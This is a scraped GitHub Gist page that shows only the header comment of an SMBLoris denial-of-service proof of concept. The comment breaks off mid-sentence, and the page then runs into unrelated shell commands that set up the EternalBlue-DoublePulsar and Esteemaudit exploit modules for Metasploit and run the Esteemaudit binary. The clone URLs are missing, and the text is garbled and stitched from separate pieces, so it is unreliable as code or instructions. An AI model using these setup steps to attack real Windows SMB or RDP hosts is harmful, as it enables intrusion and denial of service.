Skip to content

Instantly share code, notes, and snippets.


Pedro Joaquín hkm

View GitHub Profile
hkm / smbloris.c
Created Aug 29, 2017 — forked from marcan/smbloris.c
SMBLoris attack proof of concept
View smbloris.c
/* SMBLoris attack proof-of-concept
* Copyright 2017 Hector Martin "marcan" <>
* Licensed under the terms of the 2-clause BSD license.
* This is a proof of concept of a publicly disclosed vulnerability.
* Please do not go around randomly DoSing people with it.
* Tips: do not use your local IP as source, or if you do, use iptables to block
wget -O
apt-get update -y
apt-get upgrade -y
apt-get install wine -y
apt-get install winetricks -y
dpkg --add-architecture i386 && apt-get update && apt-get install wine32 -y
git clone
cd Eternalblue-Doublepulsar-Metasploit/
cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
mkdir -p /root/.wine/drive_c/
dpkg --add-architecture i386
apt-get update && apt-get install wine32 git
git clone
mkdir /usr/share/metasploit-framework/modules/exploits/windows/rdp/
cp Esteemaudit-Metasploit/esteemaudit.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/
mkdir /usr/share/esteemaudit/
cp Esteemaudit-Metasploit/files/* /usr/share/esteemaudit/
wine /usr/share/esteemaudit/Esteemaudit-2.1.0.exe 2>0
rm -rf Esteemaudit-Metasploit